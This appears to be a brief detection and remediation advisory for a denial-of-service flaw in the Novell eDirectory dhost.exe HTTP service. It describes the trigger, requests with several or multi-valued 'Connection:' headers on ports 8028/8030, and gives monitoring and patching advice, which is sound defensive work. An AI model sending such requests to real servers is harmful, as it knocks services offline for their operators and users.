• → Detect HTTP requests to Novell eDirectory dhost.exe service (TCP/8028 or TCP/8030) containing multiple 'Connection:' headers in a single request, which triggers 100% CPU consumption. ↗
• → Detect HTTP requests to Novell eDirectory dhost.exe service (TCP/8028 or TCP/8030) containing a single 'Connection:' header with multiple comma-separated values, which triggers 100% CPU consumption. ↗
• → Monitor dhost.exe process for sustained 100% CPU utilization; multiple exploit requests can lock every CPU core on the host. ↗

• · The vulnerable service listens on non-standard HTTP/HTTPS ports (8028 and 8030); ensure network monitoring and IDS/IPS rules cover these ports, not just standard ports 80/443. ↗
• · Both eDirectory 8.7.3 (before SP10) and 8.8.2 are affected; patching to 8.7.3 SP10 or later is required to remediate. ↗
